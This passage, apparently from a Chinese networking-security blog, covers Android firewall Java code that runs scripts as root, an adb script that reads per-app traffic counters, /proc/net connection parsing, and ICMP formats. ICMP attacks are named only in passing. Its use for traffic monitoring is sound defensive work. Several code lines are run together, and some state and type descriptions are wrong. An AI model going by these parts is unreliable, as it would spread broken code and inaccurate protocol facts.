}

/**
* 保存应用程序信息的小结构
*/

public static final class DroidApp {
/** linux用户标识 */
int uid;
/** 属于此用户 ID 的应用程序名称 */
String names[];
/** 指示是否为 wifi 选择了此应用程序 */
boolean selected_wifi;
/** 指示是否为 3G 选择了此应用程序 */
boolean selected_3g;
/** toString cache */
String tostr;

public DroidApp() {
}
public DroidApp(int uid, String name, boolean selected_wifi, boolean selected_3g) {
this.uid = uid;
this.names = new String[] {name};
this.selected_wifi = selected_wifi;
this.selected_3g = selected_3g;
}
/**
* 此应用程序的屏幕显示
*/

@Override
public String toString() {
if (tostr == null) {
final StringBuilder s = new StringBuilder();
if (uid > 0) s.append(uid + ": ");
for (int i=0; i<names.length; i++) {
if (i != 0) s.append(", ");
s.append(names[i]);
}
s.append("\n");
tostr = s.toString();
}
return tostr;
}
}
/**
* 用于保存日志信息的小型内部结构
*/

private static final class LogInfo {
private int totalBlocked; // 阻塞的数据包总数
private HashMap<String, Integer> dstBlocked; // 每个目标 IP 地址阻止的数据包数
private LogInfo() {
this.dstBlocked = new HashMap<String, Integer>();
}
}
/**
* 用于执行脚本的内部线程(是否以 root 身份)
*/

private static final class ScriptRunner extends Thread {
private final File file;
private final String script;
private final StringBuilder res;
private final boolean asroot;
public int exitcode = -1;
private Process exec;

/**
* 创建一个新的脚本运行器
* @param file temporary script file
* @param script script to run
* @param res response output
* @param asroot if true, executes the script as root
*/

public ScriptRunner(File file, String script, StringBuilder res, boolean asroot) {
this.file = file;
this.script = script;
this.res = res;
this.asroot = asroot;
}
@Override
public void run() {
try {
file.createNewFile();
final String abspath = file.getAbsolutePath();
// 确保我们对脚本文件有执行权限
Runtime.getRuntime().exec("chmod 777 "+abspath).waitFor();
// 编写要执行的脚本
final OutputStreamWriter out = new OutputStreamWriter(new FileOutputStream(file));
if (new File("/system/bin/sh").exists()) {
out.write("#!/system/bin/sh\n");
}
out.write(script);
if (!script.endsWith("\n")) out.write("\n");
out.write("exit\n");
out.flush();
out.close();
if (this.asroot) {
// 创建“su”请求以运行脚本
exec = Runtime.getRuntime().exec("su -c "+abspath);
} else {
// 创建“sh”请求以运行脚本
exec = Runtime.getRuntime().exec("sh "+abspath);
}
InputStreamReader r = new InputStreamReader(exec.getInputStream());
final char buf[] = new char[1024];
int read = 0;
// 使用“标准输出”
while ((read=r.read(buf)) != -1) {
if (res != null) res.append(buf, 0, read);
}
// 使用“stderr”
r = new InputStreamReader(exec.getErrorStream());
read=0;
while ((read=r.read(buf)) != -1) {
if (res != null) res.append(buf, 0, read);
}
// 获取进程退出代码
if (exec != null) this.exitcode = exec.waitFor();
} catch (InterruptedException ex) {
if (res != null) res.append("\nOperation timed-out");
} catch (Exception ex) {
if (res != null) res.append("\n" + ex);
} finally {
destroy();
}
}
/**
* 销毁这个脚本运行器
*/

public synchronized void destroy() {
if (exec != null) exec.destroy();
exec = null;
}
}}<p data-line="1794" class="sync-line" style="margin:0;"></p>

5.2 自动获取流量脚本

  • python2+脚本名+要测试的应用程序包名:```python2 xxx.py ddns.android.vuls

import osimport timeimport sys
cmd = os.system
sleep = time.sleep
currDir = sys.path[0]def getPID(packageName):
pid = 1
ps = os.popen("adb shell ps | findstr " + packageName)
for line in ps.readlines():
if packageName in line:
list = line.split()
for item in list:
if item == packageName:
pid = list[1]
break
return piddef getUid(pid):
uid = 1
uidStr = os.popen("adb shell cat /proc/" + pid + "/status")
for line in uidStr.readlines():
if "Uid:" in line:
uid = line.split()[1]
return uiddef getFlow(uid):
while 1 is not 2:
print "tcp_rcv:"
cmd("adb shell cat /proc/uid_stat/"+uid+"/tcp_rcv")
print "tcp_snd:"
cmd("adb shell cat /proc/uid_stat/"+uid+"/tcp_snd")
sleep(1)def deviceListener():
device = 0
deviceStr = os.popen("adb devices")
for line in deviceStr.readlines():
if 'device'in line:
if 'devices' not in line:
device = 1
return deviceif __name__ == "__main__":
if deviceListener() == 1:
packagename = sys.argv[1]
pid = getPID(packagename)
if pid == 1:
print pid print "no such process!"
else:
uid = getUid(pid)
if uid is not 1:
getFlow(uid)
else:
print "uid error!"
else:
print "device offline!"<p data-line="1857" class="sync-line" style="margin:0;"></p>

5.3 进程级流量获取

在某些应用安全场景需要结合进程网络连接、流入流出流量等数据可分析出是否在内网存在恶意外传敏感数据现象在网络监控 时发现 服务器大量带宽被占用但不清楚由系统具体哪个进程占用 。为此都需要获取到更细粒度的进程级网络流量数据综合分析

xxxxx,备注:文章超过5万字,所以删掉部分内容,想看全文请点击文章底部阅读原文按钮

5.5 /proc/net/icmp网络状态文件

以icmp的状态文件为例/proc/net/icmp:

重点关注上面的网络连接中的五元组+连接状态+inode号,分别在第2、3(local_address)、4(st)、11列(inode)

补充知识


1)IP地址表示,IP地址有两个部分组成,net-id和host-id,即网络号和主机号

  • 127.0.0.1

127.0.0.1属于{127,}集合中的一个,而所有网络号为127的地址都被称之为回环地址,所以回环地址!=127.0.0.1,它们是包含关系,即回环地址包含127.0.0.1。回环地址:所有发往该类地址的数据包都应该被loop back

:127.0.0.1 只能对本机 localhost访问,也是保护此端口的安全性

相比于127.0.0.1,localhost 具有更多的意义,localhost是个域名,而不是一个ip地址。之所以经常把localhost与127.0.0.1认为同一个是因为我们使用的大多数电脑上都将localhost指向了127.0.0.1这个地址。注意,localhost的意义并不局限于127.0.0.1,localhost是一个域名,用于指代this computer或者this host,可以用它来获取运行在本机上的网络服务。在大多数系统中,localhost被指向了IPV4的127.0.0.1和IPV6的::1,如下所示:

127.0.0.1     localhost::1           localhost
  • 0.0.0.0

IPV4中,0.0.0.0地址被用于表示一个无效的,未知的或者不可用的目标

服务器端,通过0.0.0.0匹配所有服务器IP,如果进程监听0.0.0.0那么客户端访问服务器任何一个可达IP都可以使用此进程

  • 在服务器中,0.0.0.0指的是本机上的所有IPV4地址,如果一个主机有两个IP地址,192.168.1.1 和 10.1.2.1,并且该主机上的一个服务监听的地址是0.0.0.0,那么通过两个ip地址都能够访问该服务

  • 在路由中,0.0.0.0表示的是默认路由,即当路由表中没有找到完全匹配的路由的时候所对应的路由

:0.0.0.0 是对外开放,通过服务域名、IP可以访问的端口

区别127.0.0.1,因为127.0.0.1是个环回地址,是IP,并不表示“本机”,0.0.0.0才是真正表示网路中的本地。比如,服务端绑定端口的时候一般选择绑定到0.0.0.0,用户就可以通过多个本服务器的IP进行访问

总结

当一台主机还没有被分配一个IP地址的时候,用于表示主机本身(DHCP分配IP地址的时候)

用作默认路由,表示”任意IPV4主机”。用来表示目标机器不可用

用作服务端,表示本机上的任意IPV4地址

  • ::

全0的IPV6地址,和IPV4的0.0.0.0一样,表示匹配多个IPV6地址。

用双冒号“::”表示一组0或多组连续的0,但只能出现一次,每项数字前导的0可以省略,省略后前导数字仍是0则继续

:::这三个: 的前两个”::“,是“0:0:0:0:0:0:0:0”的缩写,相当于IPv6的“0.0.0.0”,就是本机的所有IPv6地址,第三个:是IP和端口的分隔符


补充知识的大家应该也知道了00000000:0001转换为IP和端口的结果为:0.0.0.0:1,如下为了更好的理解,伪造一个假的数据,如下:

cat /proc/net/icmp
sl local_address rem_address st tx_queue rx_queue tr tm->when retrnsmt uid timeout inode ref pointer drops
1: 0100007F:22B8 00000000:0000 07 00000000:00000000 00:00000000 00000000 0 0 105082 2 00000000 0

其中每个字段的解释如下(由于长度原因,分为3个部分):

  • 第一部分字段内容:

46: 010310AC:9C4C 030310AC:1770 01 |      |      |      |      |   |--> connection state(套接字状态)|      |      |      |      |------> remote TCP port number(远端端口,主机字节序)|      |      |      |-------------> remote IPv4 address(远端IP,网络字节序)|      |      |--------------------> local TCP port number(本地端口,主机字节序)|      |---------------------------> local IPv4 address(本地IP,网络字节序)|----------------------------------> number of entry

connection state(套接字状态),不同的数值代表不同的状态,参照如下:

TCP_ESTABLISHED:1   TCP_SYN_SENT:2TCP_SYN_RECV:3      TCP_FIN_WAIT1:4TCP_FIN_WAIT2:5     TCP_TIME_WAIT:6TCP_CLOSE:7         TCP_CLOSE_WAIT:8TCP_LAST_ACL:9      TCP_LISTEN:10TCP_CLOSING:11<p data-line="2174" class="sync-line" style="margin:0;"></p>
  • 第二部分字段内容:

00000150:00000000 01:00000019 00000000  
| | | | |--> number of unrecovered RTO timeouts(超时重传次数) | | | |----------> number of jiffies until timer expires(超时时间,单位是jiffies) | | |----------------> timer_active (定时器类型,see below)
| |----------------------> receive-queue(根据状态不同有不同表示,see below) |-------------------------------> transmit-queue(发送队列中数据长度)<p data-line="2185" class="sync-line" style="margin:0;"></p>

receive-queue,当状态是ESTABLISHED,表示接收队列中数据长度;状态是LISTEN,表示已经完成连接队列的长度

timer_active

0  no timer is pending  //没有启动定时器1  retransmit-timer is pending  //重传定时器2  another timer (e.g. delayed ack or keepalive) is pending  //连接定时器、FIN_WAIT_2定时器或TCP保活定时器3  this is a socket in TIME_WAIT state. Not all fields will contain data (or even exist)  //TIME_WAIT定时器4  zero window probe timer is pending  //持续定时器<p data-line="2197" class="sync-line" style="margin:0;"></p>
  • 第三部分字段内容:

1000        0 54165785 4 cd1e6040 25 4 27 3 -1
| | | | | | | | | |--> slow start size threshold,
or -1 if the threshold is >=0xFFFF
| | | | | | | | | (如果慢启动阈值大于等于0xFFFF则显示-1,否则表示慢启动阈值) | | | | | | | | |
| | | | | | | | |----> sending congestion window(当前拥塞窗口大小) | | | | | | | |-------> (ack.quick<<1)|ack.pingpong
(快速确认数和是否启用的标志位的或运算结果)
| | | | | | |---------> Predicted tick of soft clock (delayed ACK control data)
(用来计算延时确认的估值) | | | | | |
| | | | | |------------> retransmit timeout()(RTO,单位是clock_t| | | | |------------------> location of socket in memory(socket实例的地址) | | | |-----------------------> socket reference count(socket结构体的引用数) | | |-----------------------------> inode(套接字对应的inode) | |----------------------------------> unanswered 0-window probes(see below) |---------------------------------------------> uid(用户id)<p data-line="2219" class="sync-line" style="margin:0;"></p>

unanswered 0-window probes:持续定时器或保活定时器周期性发送出去但未被确认的TCP段数目,在收到ACK之后清零

更多多细节请前往该文章(翻译linux官方文档proc_net_tcp.txt):https://guanjunjian.github.io/2017/11/09/study-8-proc-net-tcp-analysis/

其中local_address和rem_address两列中每个数字都是一个十六进制数,前面八个数,两两构成一个十六进制数【01 00 00 7F转换为十进制:1 0 0 127】。此时,将转换为十进制的IP从左到右分别代表IP地址的第四段、第三段、第二段、第一段【十进制:1 0 0 127正确排序为IP:127.0.0.1(127 0 0 1)】,冒号后面的四位代表一个16进制数即端口号【22B8转换为十进制:8888

第2、3列分别是主机字节序IP:Port

  • 第二列(local_address):”0100007F:22B8″ -> “127.0.0.1:8888

  • 第三列(rem_address):”00000000:0000″ -> “0.0.0.0:0

第4列(st)是网络连接状态信息,状态字段含义如下:

"01": "ESTABLISHED" // 表示连接已经建立成功了。服务端发送完ACK+SYN后进入该状态,客户端收到ACK后也进入该状态"02": "SYN_SENT" // 表示客户端已经发送了SYN报文。当客户端调用connect函数发起连接时,首先发SYN给服务端,然后自己进入SYN_SENT状态,并等待服务端发送ACK+SYN"03": "SYN_RECV" // 表示服务端被动打开后,接收到了客户端的SYN并且发送了ACK时的状态。再进一步接收到客户端的ACK就进入ESTABLISHED状态"04": "FIN_WAIT1" // 表示主动关闭连接。无论哪方调用close函数发送FIN报文都会进入这个这个状态"05": "FIN_WAIT2" // 表示被动关闭方同意关闭连接。主动关闭连接方收到被动关闭方返回的ACK后,会进入该状态"06": "TIME_WAIT" // 表示收到对方的FIN报文并发送了ACK报文,就等2MSL后即可回到CLOSED状态了。如果FIN_WAIT_1状态下,收到对方同时带FIN标志和ACK标志的报文时,可以直接进入TIME_WAIT状态,而无须经过FIN_WAIT_2状态"07": "CLOSE" // 表示监听状态。服务端调用了listen函数,可以开始accept连接"08": "CLOSE_WAIT" // 表示被动关闭方等待关闭。当收到对方调用close函数发送的FIN报文时,回应对方ACK报文,此时进入CLOSE_WAIT状态"09": "LAST_ACK" // 表示被动关闭方发送FIN报文后,等待对方的ACK报文状态,当收到ACK后进入CLOSED状态"0A": "LISTEN" // 表示监听状态。服务端调用了listen函数,可以开始accept连接了"0B": "CLOSING" // 示双方同时关闭连接。如果双方几乎同时调用close函数,那么会出现双方同时发送FIN报文的情况,此时就会出现CLOSING状态,表示双方都在关闭连接
  • ICMP消息通用格式:ICMP消息包括8字节的头部和变长数据两个部分,其中所有消息类型头部的前4个字节均相同,头部其余4个字节随消息的不同而不同。如下图所示:

    • ICMP消息头部的头4个字节分别是消息类型type,消息代码code和校验和checksum,其中checksum字段包括头部和数据两部分,而并非仅头部,查询消息的数据部分data包含了用于查询所需要的额外数据

  • ICMP查询请求和应答消息格式(ICMP回显请求和回显应答报文格式):ICMP回应请求(echo-request)和应答消息(echo-reply)用于诊断两个系统(主机或路由器)之间是否能够进行通信,当其中一方发送回应请求消息给另一方时,接收到回应请求消息的主机或者路由器将以应答消息进行应答,常用的网络ping命令就是基于此消息类型的。如下图所示,其中type字段为8表示回应请求,0表示应答,code字段暂未是要你管,为0


【例子】比如ping目标服务器:

  • Unix系统在实现ping程序时把ICMP报文中的标识符字段置成发送进程的ID号。这样即使在同一台主机上同时运行了多个ping程序实例,ping程序也可以识别出返回的信息

  • 序列号从0开始,每发送一次新的回显请求就加1。ping程序打印出返回的每个分组的序列号,允许我们查看是否有分组丢失,失序或重复

  • ping程序通过在ICMP报文中存放发送请求的时间值来计算往返时间。当应答返回时,用当前时间减去存放在ICMP报文中的时间值,即是往返时间

  • 抓包看有哪些过icmp ping 请求包(类型8,代码0) 和 响应包(类型0,代码0),发现请求包和响应包的标识符和序号,以及选项数据完全一致

常见网络状态如0A、01分别代表某进程正监听和已建立连接状态

其中:UID在Android中的作用为Android为单用户设计,UID用于数据共享。常见的UID含义:

0               rootID1000         SystemID1001         PhoneID>10000     AppID

第11列(inode)是inode号,代表Linux系统中的一个文件系统对象包括文件、目录、设备文件、socket、管道等的元信息。如上面示例中105082是某进程监听socket(状态0A)的inode号

/proc/pid/fd目录是进程所有打开的文件信息,其中0、1、2表示标准输入、输出、错误,网络连接是以socket:开头的文件描述符,其中[]号内的是socket对应inode号,这样可以和网络状态文件/proc/net/icmp下的inode号可对应起来

比如(举个例子【/proc/net/tcp】),以PID:769进程为例,该进程监听8888(0x22B8)端口,在/proc/769/fd目录下显示文件描述符是3、5代表的是sokcet连接,对应inode号分别是623457565、623457729

$ ls -l /proc/769/fd

lrwx------ 1 root root 64 Oct 30 10:46 0 -> /dev/pts/0lrwx------ 1 root root 64 Oct 30 10:47 1 -> /dev/pts/0lrwx------ 1 root root 64 Oct 30 10:46 2 -> /dev/pts/0lrwx------ 1 root root 64 Oct 30 10:47 3 -> socket:[623457565]lrwx------ 1 root root 64 Oct 30 10:47 4 -> anon_inode:[eventpoll]lrwx------ 1 root root 64 Oct 30 10:48 5 -> socket:[623457729]

再从/proc/net/tcp过滤22B8,可以发现有两条记录,状态分别为”0A”,”01″,inode号是623457565, 623457729,与前面30168进程fd目录下的inode号一致,就可找到这连接归属的进程

$ cat /proc/net/tcp |grep 22B86: 00000000:22B8 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 623457565 1 ffff8811f2fd1740 100 0 0 10 013: 0100007F:22B8 0100007F:ED2C 01 00000000:00000000 00:00000000 00000000     0        0 623457729 1 ffff8810880e1740 20 4 30 10 -1

:上述文件信息可以从/proc/net/tcp建立起网络连接五元组->inode的映射, 再从/proc/pid/fd建立起连接inode ->进程的映射。就是这样通过inode号作为桥梁关联起系统内的进程与网络连接的信息(dup、icmp也是如此关联)

linux主机上使用开源libpcap库来抓取网络报文步骤:

  • 使用抓包Libpcap库获取到网络报文packet结构

  • 解析报文:解析出packet的五元组(源地址、目标地址、源端口、目标端口、协议号)信息和当前报文的流量大小

  • 缓存更新:在ConnInodeHash缓存查找五元组组成的key对应的inode号,如果不存在,重新读取/proc/net/tcp与udp,刷新ConnInodeHash缓存,建立起新连接与inode的映射;以及重新读取/proc/pid/fd目录对所有文件描述符遍历,过滤出以socket:开头的连接,刷新InodeProcessHash缓存,重新建立inode与进程的映射

  • hash查找:根据查找到inode号在InodeProcessHash缓存查找相应进程PID

  • 统计流量:根据报文地址,判断当前连接方向,累加进程流入、流出数据

什么是inode

inode 是一个数据结构,记录了文件全部信息,除了文件名和文件内容。若是两个或多个文件具备相同的 inode 值,即便它们的文件名不同,位置不同,它们的内容、全部者、权限其实都是同样的,咱们能够将其视有相同文件

  • linux 在整个架构上可以看作是三层:

    • 底层代码, (引导层strip) 跟硬件沟通的那一层的代码(可能是汇编+c), 驱动底层的;strain: n./v.拉紧, 张力, 气质, 风格, 乐曲(这个词的意思很多)

    • 中间层代码, OS层,用来管理文件系统,内存,作业调度等. 里面的实现包括很多文件,或 各种各样的数据结构, 数据库等等(数据库也是由分散的文件构成的吧), 其中inode等等就是在这里支撑用户接触层的东东

    • 表现层代码, 就是我们所看到的, 我们所接触的那些东西, 包括目录结构, 文件等等

linux内核用数字管理文件系统,、内存、进程等等是为了方便。因为文件名称,进程名称是很长很多很占字节的东西,让内核去接触这些东西会很麻烦,但通过这些实体的编号、id来管理它们就方便多了

  • 进程:通过 PID 来管理, 进程名称是PID的别名

  • 文件:通过 inode来管理, 文件名称是inode的别名

inode的读法:i-node : [ai ' n2ud]: i:可以认为是id, identifier , 所以读成:[ai],node是节点,代表着对应文件的实体

inode包含文件的元信息,具体来说有以下内容:

* 文件的字节数* 文件拥有者的User ID* 文件的Group ID* 文件的读、写、执行权限* 文件的时间戳,共有三个:ctime指inode上一次变动的时间,mtime指文件内容上一次变动的时间,atime指文件上一次打开的时间。* 链接数,即有多少文件名指向这个inode* 文件数据block的位置

可以用stat命令,查看某个文件的inode信息:stat test.txt

在相应进程的/proc/{pid}/fd目录下存放了此进程所有打开的fd。当然,有些可能不是本进程自己打开的,如通过fork()从父进程继承而来的

通过对/proc/下的所有进程的fd/目录下的所有链接进行遍历查看link的值,将遍历到的所有包含socket:开头的连接,将进程号与遍历所得的对应进程号、进程对应的所有socket fd对应的inode号进行建表。但通常情况下都是先获取到PID值后去反查inode号,再通过Inode号去查找对应的tcp、udp、icmp等链接,如果是通过inode反查pid的话, 就需要遍历/proc/{pid}/inode下的所有值,然后给对应的Pid和inode号建表

以pid:769进程为例,该进程监听0(00)端口(因为是ICMP),在/proc/769/fd目录下显示文件描述符是3代表的是sokcet连接,对应inode号为2392060

5.5.1 如何判断是进出流量?

如果 IP 是本地的IP地址,那么就是出流量。反之,IP 不是本地IP地址,那么肯定是进流量

5.5.2 ICMP报文误区

从TCP/IP的分层结构上来看,它同IP协议一样处于网络层,但ICMP协议有自己的一套报文格式,且它需要使用IP协议来递交报文,即ICMP报文是放在P数据报中的数据区域发送的,从这点看来,ICMP协议又有点像一个传输层协议,因为ICMP报文的目的不是目的主机上的某个应用程序,它不为应用程序提供传输服务,ICMP报文的目的是目的主机上的网络层处理软件

1)ICMP 报文是由发送方发出的还是由接收方发出的呢?

:ICMP 报文是由路由器发出来的,比如主机 A 在不知情的情况下向主机 B 发送了数据包,而主机 B 正在睡觉或装傻不鸟主机A。主机 A 和主机 B 不在同一个局部网内,假设它俩之间会经过路由器1和路由器2,如下图:

大家现在应该了解,除了 IP 地址以外还需要 MAC 地址才能确保数据包精准的找到传送方向,因此,路由器 2 为了知道主机 B 的 MAC 地址,它会广播一个 ARP 请求报文,希望获取到主机 B 的 MAC 地址,而主机 B 都关机了自然也就无法应答这个请求报文了。此时,路由器 2 会重复发送着 ARP 请求报文,在多次无果后,路由器 2 就会返回一个ICMP Destination Unreachable的包给主机 A,通知主机 A 发送给主机 B 的包未能成功抵达

2)ICMP 报文具体是怎么传输给主机 A 的呢?

当时我也纠结了很久,这特么到底是该怎么去查看A在外部请求B了,一直不思其解。其实就跟TCP/UDP 报文一样,TCP/UDP是怎么传输的,ICMP 报文就是怎么传输的

总结:其实,真正的数据首先会被加上 ICMP 首部,接着封装成 ICMP 报文,然后被 IP 协议封装成 IP 数据报进行明文传输,最后由 IP 协议指定源 IP 地址和目的地址。主机 A 收到数据后会一层一层解封装,从而获得真正的数据得知发生异常的原因

6.1 前言

网络攻击者通过ICMP协议,可以进行隧道传输,实现数据窃取,规避掉一些防火墙规则。首先我们先来聊聊ICMP协议的基础内容

ICMP(Internet Control Message Protocol)因特网控制报文协议,它位于网络层,是IP层的一个组成部分,主要用来传递差错报文以及其他需要注意的信息(用于IP 协议中发送控制消息,也就是说,ICMP 是依靠 IP 协议来完成信息发送的,它是 IP 的主要部分,但是从体系结构上来讲,它位于 IP 之上,因为 ICMP 报文是承载在 IP 分组中的,就和 TCP 与 UDP 报文段作为 IP 有效载荷被承载那样【比如,当主机收到一个指明上层协议为 ICMP 的 IP 数据报时,它会分解出该数据报的内容给 ICMP,就像分解数据报的内容给 TCP 和 UDP 一样】),当然也有查询报文(比如Ping命令)。它是IPv4协议族中的一个子协议,用于IP主机、路由器之间传递控制消息。控制消息是在网络通不通、主机是否可达、路由是否可用等网络本身的消息。这些控制消息虽然不传输用户数据,但是对于用户数据的传递起着重要的作用

ICMP协议与ARP协议不同,ICMP靠IP协议来完成任务,所以ICMP报文中要封装IP头部。它与传输层协议(如TCP和UDP)的目的不同,一般不用来在端系统之间传送数据,不被用户网络程序直接使用,除了想Ping和Tracert这样的诊断程序

ICMP 协议和 TCP、UDP 等协议不同,它不用于传输数据,只是用来发送消息。因为 IP 协议现在有两类版本:IPv4 和 IPv6 ,所以 ICMP 也分为两个版本:ICMPv4 和 ICMPv6

ICMP协议是网络层中一个非常重要的协议,其称为Internet Control Message Protocol(因特网控制报文协议),ICMP协议弥补了IP的缺限,它使用IP协议进行信息传递,向数据包中的源端节点提供发生在网络层的错误信息反馈

例如,路由器会使用ICMP协议来报告问题,而主机则会使用该机制来测试目的站是否可达。该报文的最终目的地不是一个应用程序或者目的设备上的用户,而是目的设备上的网际协议软件,一般ICMP报文的接收是Linux内核里的ICMP接收模块来处理的,而ICMP请求报文的发送即可以是内核里相关子系统也可以是应用层的程序发送(比如Ping命令)

ICMP 主要功能如下:

  • ICMP 的第一个功能是确认 IP 包是否能够成功到达目标地址,当两个设备通过互联网相连时,任意一个设备发送给另一个设备的 IP 包如果没有到达,就会生成 ICMP 数据包发送给设备共享

    • 说简单点就是,确认 IP 数据报是否成功送达目标地址

  • ICMP 的第二个功能是进行网络诊断,经常使用 ICMP 数据包的两个终端程序是 ping 和 traceroute,traceroute 程序用于显示两台互联网设备之间可能的路径并测量数据包在 IP 网络上的时延。ping 程序是 traceroute 的简化版本,我们经常使用 ping 命令来测试两台设备之间是否互联,ping 通常用来测试两台主机之间的连接速度,并准确报告数据包到达目的地并返回后所花费的时间

    • 说简单点就是,如果某个 IP 数据报因为某种原因未能正常到达目的地,则由 ICMP 负责通知具体的原因

如果在 IP 通信过程中由于某个 IP 包由于某种原因未能到达目标主机,此时这个原因将由 ICMP 进行通知【路由器 2 给主机 A 发送了一个 ICMP 数据包,而没有画出具体的通知类型,但实际情况是,上面发送的是目标不可达类型(Destination unreachable),ICMP 也是具有不同的通知类型的】,如下:

ICMP只是保证数据被送达的一个重要模块,它并没有完全解决IP协议的不可靠性。ICMP解决了哪些问题(如下)?

  • IP协议本身不提供差错报告和差错控制机制来保证数据报递交的有效性,在路由器无法递交一个数据报,或者数据报生存时间为0时,路由器都会直接丢弃掉这个数据报。尽管路由器IP层认为这样的处理是合理的(可以提高数据报处理效率),但是在很多情况下,源主机还是期望在数据报递交出现异常的情况下得到相关的失败信息,以便进行重传或者其他处理

  • IP协议缺少一个辅助机制,即主机的管理和查询机制。在某些情况下,源主机需要确定另一个主机或者路由器是否是活跃的,对于不活跃的主机,就没有必要再向它发送数据报了,因为这是徒劳的。在另外一些情况下,一个主机的管理员期望能获得另一个主机或老路由器上的信息,以根据这些信息进行主机自身的配置、数据报发送控制等

6.1.1 ICMP攻击分类

ICMP 攻击主要分为三类:

  • 泛洪攻击(flood):泛洪将会产生大量流量,导致针对一台或者多台计算机的有效 Dos 攻击

  • 炸弹攻击(bomb):炸弹指的是发送经过特殊构造的报文,这类报文能够导致 IP 或者 ICMP 的处理失效或者崩溃

  • 信息泄露(information disclsure):信息泄露本身不会造成危害,但是能够帮助辅助其他攻击

6.1.2 ICMP 报文格式

各种ICMP报文的前32bits都是三个长度固定的字段,为8bit的type字段、8bit的code字段、16bit的校验和字段(包括ICMP数据字段的校验和),而对于不同类型的ICMP报文,其余下字段的含义则是不同的

  • ICMP报文整体格式为:ETH头+IP头+ICMP信息

ICMP报文包含在IP数据报中,IP报头在ICMP报文的最前面。一个ICMP报文包括IP报头(至少20字节)、ICMP报头(至少八字节)和ICMP报文(属于ICMP报文的数据部分)。当IP报头中的协议字段值为1时,就说明这是一个ICMP报文。ICMP报头如下:

上述字段说明:

  • 类型:占一字节,标识ICMP报文的类型,目前已定义了14种,从类型值来看ICMP报文可以分为两大类。第一类是取值为1~127的差错报文,第2类是取值128以上的信息报文

  • 代码:占一字节,标识对应ICMP报文的代码。它与类型字段一起共同标识了ICMP报文的详细类型。

  • 校验和:这是对包括ICMP报文数据部分在内的整个ICMP数据报的校验和,以检验报文在传输过程中是否出现了差错。其计算方法与IP报头中的校验和计算方法是一样的

  • 标识:占两字节,用于标识本ICMP进程,但仅适用于回显请求和应答ICMP报文,对于目标不可达ICMP报文和超时ICMP报文等,该字段的值为0

ICMP报文包含在IP数据报中,属于IP的一个用户,IP头部就在ICMP报文的前面,所以一个ICMP报文包括IP头部、ICMP头部和ICMP报文(见图表,ICMP报文的结构和几种常见的ICMP报文格式),IP头部的Protocol值为1就说明这是一个ICMP报文,ICMP头部中的类型(Type)域用于说明ICMP报文的作用及格式,此外还有一个代码(Code)域用于详细说明某种ICMP报文的类型,所有数据都在ICMP头部后面

ICMP类型目前有40个,下面几个是比较常用的,也是目前Linux 支持的类型

6.1.3 ICMP 报文类型

各种类型的ICMP报文,不同类型由报文中的类型字段和代码字段来共同决定

ICMP差错报文有时需要作特殊处理,所以需要进行区分。例如,在对ICMP差错报文进行响应时,永远不会生成另一份ICMP差错报文(如果没有这个限制规则,可能会遇到一个差错产生另一个差错的情况,而差错再产生差错,导致会无休循环下去)

当发送一份ICMP差错报文时,报文始终包含IP的首部和产生ICMP差错报文的IP数据报的前8个字节。此时,接收的ICMP差错报文的模块就会把它与某个特定的协议(根据IP数据报首部中的协议字段来判断)和用户进程(根据包含在IP数据报前8个字节中的TCP或UDP报文首部中的TCP或UDP端口号来判断)联系起来。说的简单一点就是ICMP数据包由8bit的错误类型和8bit的代码和16bit的校验和组成,校验算法和IP首部检验和算法相同。而前16bit就组成了ICMP所要传递的信息

ICMP 是承载在 IP 内部的,IPv4 封装位置如下:

ICMP 头部包含了整个 ICMP 数据段的校验和,具体格式如下

:ICMP 报文都是以 8 位的类型(Type) 和代码(Code) 字段开始,其后的 16 位校验和涵盖了整个报文,ICMPv4 和 ICMPv6 种的类型和代码字段是不同的

Type:报文类型,用来表示报文
Code:代码,提供报文类型的进一步信息
Checksum:校验和,icmp校验和仅覆盖icmp报文
Message Body:字段的长度和内容,取决于消息的类型和代码

ICMP报文分为:ICMP差错报告报文和ICMP查询报文

  • 差错报文:差错报告报文主要用来向IP数据报源主机返回一个差错报告信息,这个错误报告信息产生的原因是路由器或主机不能对当前数据报进行正常的处理,例如无法将数据报递交给有效的协议上层,数据报因为生存时间TTL为0而被删除等【有关 IP 数据报传递的 ICMP 报文,这类报文也叫做差错报文(error message)】

    • 信息不可达报文

    • 数据超时报文

    • 数据包参数错误报文

  • 控制报文:

    • 源抑制报文

    • 重定向报文

  • 请求与应答报文:查询报文用于一台主机向另一台主机查询特定的信息,通常查询报文都是成对出现的,即源主机发起一个查询报文,在目的主机收到该报文后,会按照查询报文约定的格式为源主机返回一个应答报文【有关信息采集和配置的 ICMP 报文,被称为查询 query 或者信息类报文】

    • 回应请求报文

    • 路由器请求与通告报文

    • 时间戳请求与应答报文

    • 地掩码请求与应答报文址

:大多数情况下,错误的包传送应该给出ICMP报文,但是在特殊情况下,是不产生ICMP错误报文的,如下:

  • ICMP差错报文不会产生ICMP差错报文(IMCP查询报文)(防止IMCP的无限产生和传送)

  • 目的地址是广播地址或多播地址的IP数据报。

  • 作为链路层广播的数据报

  • 不是IP分片的第一片

  • 源地址不是单个主机的数据报。意思是源地址不能为零地址、环回地址、广播地 址或多播地址

类型代码描述查询报文差错报文
00回送应答(Echo Reply)×





3
目标不可达(Destination Unreachable)


0网络不可达(net unreachable)×

1主机不可达(host unreachable)×

2协议不可达(protocol unreachable)×

3端口不可达(port unreachable)×

4需要进行分片但设置了不分片比特(fragmentation needed and DF set)×

5源站选路失败(source route failed)×

6目的网络不认识(Destination network unknown)×

7目的主机不认识(Destination host unknown)×

8源主机被隔离(作废不用) (Source host isolated (obsolete))×

9目的网络被强制禁止(Destination network administratively prohibited)×

10目的主机被强制禁止(Destination host administratively prohibited)×

11由于服务类型TOS,网络不可达(Network unreachable for Type Of Service)×

12由于服务类型TOS,主机不可达(Host unreachable for Type Of Service)×

13由于过滤,通信被强制禁止×

14主机越权×

15优先权中止生效×





40原点抑制(Source Quench)×





5
重定向或改变路由(Redirect)


0对网络重定向×

1对主机重定向×

2对服务类型和网络重定向×

3对服务类型和主机重定向×





80回送请求(Echo Request)×





90路由器公告(Router Advertisement)×





100路由器请求(Router Solicitation)×





11
ICMP 超时(Time Exceeded)


0传输期间生存时间为0×

1在数据报组装期间生存时间为0×





12
参数问题


0坏的IP首部(包括各种差错)×

1缺少必需的选项×





130时间戳请求×





140时间戳应答×





150信息请求(作废不用)×





160信息应答(作废不用)×





170地址子网请求(Address Mask Request)×





180地址子网应答(Address Mask Reply)×

常见的 ICMP 查询报文类型有以下几种:

